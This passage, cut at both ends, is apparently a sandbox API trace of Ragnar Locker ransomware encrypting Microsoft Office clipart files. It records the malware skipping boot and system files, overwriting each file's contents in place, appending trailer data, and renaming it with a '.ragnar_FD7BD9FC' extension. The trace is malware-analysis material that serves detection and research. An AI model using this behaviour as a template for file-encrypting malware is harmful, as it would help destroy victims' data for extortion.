Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.ragnar_FD7BD9FC" [0089.770] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.771] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b00e400, ftCreationTime.dwHighDateTime=0x1bd4afa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b00e400, ftLastWriteTime.dwHighDateTime=0x1bd4afa, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03241_.WMF", cAlternateFileName="")) returned 1 [0089.771] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.771] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03241_.WMF" | out: lpString1="PE03241_.WMF") returned="PE03241_.WMF" [0089.771] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF") returned=".WMF" [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="autorun.inf") returned 1 [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="boot.ini") returned 1 [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="bootfont.bin") returned 1 [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="bootsect.bak") returned 1 [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="bootmgr") returned 1 [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="bootmgr.efi") returned 1 [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="desktop.ini") returned 1 [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="iconcache.db") returned 1 [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="ntldr") returned 1 [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="ntuser.dat") returned 1 [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="ntuser.ini") returned 1 [0089.771] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="thumbs.db") returned -1 [0089.771] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.771] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.771] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.771] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.772] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.772] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.772] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf")) returned 0x20 [0089.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.773] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2228) returned 1 [0089.773] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.773] GetProcessHeap () returned 0x580000 [0089.773] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.773] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.774] VirtualAlloc (lpAddress=0x0, dwSize=0x8b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.774] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.774] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.775] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8b4, lpOverlapped=0x0) returned 1 [0089.775] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.775] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.775] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8b4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8b4, lpOverlapped=0x0) returned 1 [0089.775] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.775] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.775] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.775] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.775] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.775] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.775] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.775] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.775] GetProcessHeap () returned 0x580000 [0089.775] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.775] CloseHandle (hObject=0xf4) returned 1 [0089.776] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" [0089.776] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.ragnar_FD7BD9FC" [0089.776] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.776] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb921ed00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb921ed00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3380, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03257_.WMF", cAlternateFileName="")) returned 1 [0089.776] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.776] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03257_.WMF" | out: lpString1="PE03257_.WMF") returned="PE03257_.WMF" [0089.776] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF") returned=".WMF" [0089.776] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.776] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="autorun.inf") returned 1 [0089.776] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="boot.ini") returned 1 [0089.776] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="bootfont.bin") returned 1 [0089.777] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="bootsect.bak") returned 1 [0089.777] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="bootmgr") returned 1 [0089.777] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="bootmgr.efi") returned 1 [0089.777] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.777] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="desktop.ini") returned 1 [0089.777] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="iconcache.db") returned 1 [0089.777] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="ntldr") returned 1 [0089.777] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="ntuser.dat") returned 1 [0089.777] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.777] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="ntuser.ini") returned 1 [0089.777] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="thumbs.db") returned -1 [0089.777] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.777] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.777] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.777] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.777] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.777] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.777] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf")) returned 0x20 [0089.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.778] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13184) returned 1 [0089.778] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3377, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.778] GetProcessHeap () returned 0x580000 [0089.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.778] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.779] VirtualAlloc (lpAddress=0x0, dwSize=0x3380, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.779] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.780] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.780] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3380, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3380, lpOverlapped=0x0) returned 1 [0089.781] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.781] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3380, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.781] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3380, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3380, lpOverlapped=0x0) returned 1 [0089.781] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3380, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.781] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.781] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3380, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.781] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.781] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.781] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.781] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.781] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.782] GetProcessHeap () returned 0x580000 [0089.782] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.782] CloseHandle (hObject=0xf4) returned 1 [0089.782] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" [0089.782] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.ragnar_FD7BD9FC" [0089.782] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31379600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31379600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03331_.WMF", cAlternateFileName="")) returned 1 [0089.782] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.782] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03331_.WMF" | out: lpString1="PE03331_.WMF") returned="PE03331_.WMF" [0089.783] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF") returned=".WMF" [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="autorun.inf") returned 1 [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="boot.ini") returned 1 [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="bootfont.bin") returned 1 [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="bootsect.bak") returned 1 [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="bootmgr") returned 1 [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="bootmgr.efi") returned 1 [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="desktop.ini") returned 1 [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="iconcache.db") returned 1 [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="ntldr") returned 1 [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="ntuser.dat") returned 1 [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="ntuser.ini") returned 1 [0089.783] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="thumbs.db") returned -1 [0089.783] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.783] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.783] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.783] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.783] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.783] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.783] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf")) returned 0x20 [0089.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.784] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1682) returned 1 [0089.784] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x689, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.784] GetProcessHeap () returned 0x580000 [0089.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.784] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.786] VirtualAlloc (lpAddress=0x0, dwSize=0x692, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.786] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.786] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.786] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x692, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x692, lpOverlapped=0x0) returned 1 [0089.786] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.786] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x692, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.786] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x692, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x692, lpOverlapped=0x0) returned 1 [0089.786] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x692, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.786] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.787] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x692, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.787] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.787] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.787] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.787] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.787] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.787] GetProcessHeap () returned 0x580000 [0089.787] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.787] CloseHandle (hObject=0xf4) returned 1 [0089.787] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" [0089.787] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.ragnar_FD7BD9FC" [0089.787] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.788] FindNextFileW (in: hFindFile=0x5a1328, 